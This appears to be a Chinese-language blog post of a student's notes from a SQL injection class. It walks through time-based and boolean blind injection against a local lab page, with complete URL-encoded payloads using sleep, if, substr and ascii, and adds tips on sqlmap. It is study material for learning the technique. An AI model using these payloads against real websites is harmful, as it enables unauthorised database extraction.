第四天SQL注入课随笔

发布时间 2023-04-17 23:02:22作者: 正在奋击的红猪

先配置好本地的数据库

1.时间盲注漏洞

一.用sleep函数来

1.访问对应路径

 2.然后输入id=1得到

 3.接下来判断闭合,看看有没有sql注入漏洞

http://localhost/sql/time_blind/?id=1%27

 发现不回显了,代表sql语句出现了问题,但是不回显错误信息,又加了一个引号,发现正常了,相当于又给他闭合了一下,%27是引号

http://localhost/sql/time_blind/?id=1%27%27

4.接下来利用if来进行一个判断,看一下数据库名字有多长,if的参数分别是if(判断的语句,如果是真要执行的语句,如果是假要执行的语句)

http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database()%3E1),sleep(5))

刚开始的错误在于这把>1放在了length里面,应该在外面,并且没有注释后面的语句

http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database())>1,sleep(5),0)--+

这时候发现他延时了5s,后面一步步确定,发现长度是4,

 http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database())=4,sleep(5),0)--+

5.后面可以用substr来判断每一位是什么,这里我的数据库是test,来试一试

http://localhost/sql/time_blind/?id=1%27%20and%20if(substr(database(),1,1)=%27t%27,sleep(5),0)--+

 二.如果说sleep函数被过滤了,用benchmark()函数或者笛卡尔积,用来代替sleep函数那个位置

 

 三.sqlmap爆破,最好用双引号包裹起来,以防有and的时候,把and识别为sqlmap的and,最好加一个--random-agent

 指定类型,B是盲注,

 查看是相对应类型的漏洞存在吧

 回头学习sqlmap的所有的参数和操作

2.布尔型盲注

http://localhost/sql/time_blind/?id=1%27%20and%201=1--+

 正常回显,但是当1=2,就回显失败,所以根据这个去构造语句判断,如判断数据库名字的长度

http://localhost/sql/time_blind/?id=1%27%20and%20length(database())=6--+

就不显示,但是如果等于4,就显示,因为库名是test

http://localhost/sql/time_blind/?id=1%27%20and%20length(database())=4--+

 另一种是利用ascii函数,根据返回的字符ascii是不是存在来判断数据库的长度

http://localhost/sql/time_blind/?id=1%27%20and%20ascii(substr(database(),5,1))

如判断5,这时候,就不行,因为第五位是空的

 但是如果是判断4,回显成功

left函数

 查看数据库存在的表的数量

 limit是从第一个参数的值开始,只显示第二个参数个,前一个是索引,后一个是长度